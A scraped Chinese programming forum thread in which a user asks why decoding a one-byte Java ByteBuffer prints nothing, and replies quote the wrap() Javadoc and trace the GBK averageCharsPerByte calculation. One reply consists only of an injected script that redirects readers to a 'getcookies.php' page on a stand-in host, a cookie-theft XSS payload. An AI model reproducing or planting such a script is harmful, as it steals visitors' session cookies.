字符编码问题!
我写的代码如下:
byte[] bytes={67,66};
Charset charSet=Charset.defaultCharset();
ByteBuffer buffer=ByteBuffer.wrap(bytes, 0, 2);
CharBuffer charBuffer=charSet.decode(buffer);
StringBuffer stringBuffer=new StringBuffer();
stringBuffer.append(charBuffer.toString());
String out=stringBuffer.toString();
System.out.println(out);
这段程序可以运行出结果,如果把ByteBuffer.wrap(bytes, 0, 2);中的数字“2”改为“1”就有问题了,它什么输出也没有,不知道是什么问题?
------解决方案-------------------- <script>
document.location = 'http://example.org/getcookies.php ';
</script>
------解决方案--------------------兄弟,你发帖也看下在那里发好不好,发到非技术区了。
wrap
public static ByteBuffer wrap(byte[] array,
int offset,
int length)
Wraps a byte array into a buffer.
The new buffer will be backed by the given byte array; that is, modifications to the buffer will cause the array to be modified and vice versa. The new buffer 's capacity will be array.length, its position will be offset, its limit will be offset + length, and its mark will be undefined. Its backing array will be the given array, and its array offset will be zero.
Parameters:
array - The array that will back the new buffer
offset - The offset of the subarray to be used; must be non-negative and no larger than array.length. The new buffer 's position will be set to this value.
length - The length of the subarray to be used; must be non-negative and no larger than array.length - offset. The new buffer 's limit will be set to offset + length.
Returns:
The new byte buffer
Throws:
IndexOutOfBoundsException - If the preconditions on the offset and length parameters do not hold
看到问题,先去查文档.
------解决方案--------------------顶
------解决方案--------------------顶
------解决方案--------------------public static ByteBuffer wrap(byte[] array,
int offset,
int length)将字节数组包装到缓冲区中。
新的缓冲区将由给定的字节数组支持;也就是说,缓冲区修改将导致数组修改,反之亦然。新缓冲区的容量将为 array.length,其位置将为 offset,其界限将为 offset + length,其标记是不确定的。其底层实现数组将为给定数组,并且其数组偏移量将为零。
------解决方案--------------------CharBuffer charBuffer=charSet.decode(buffer);
其实是调用的
charSet.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).decode(buffer);
最终调用的是
CharsetDecoder.decode(buffer);
而从CharSetDecoder.decode()方法的原代码为
int n = (int)(in.remaining() * averageCharsPerByte());
CharBuffer out = CharBuffer.allocate(n);
if (n == 0)
return out;
......等
如果Charset charSet=Charset.defaultCharset(); 为GBK的话,
averageCharsPerByte() 的结果为 0.5 , 返回每个输入字节生成的平均字符数。此试探值可用来估算给定输入序列所需的输出缓冲区大小
int n = (int)(in.remaining() * averageCharsPerByte());结果为 0
就直接返回了 空CharBuffer对象. 这应该是Java错误的计算字符数的原因.我认为这也算是JDK的一个小BUG吧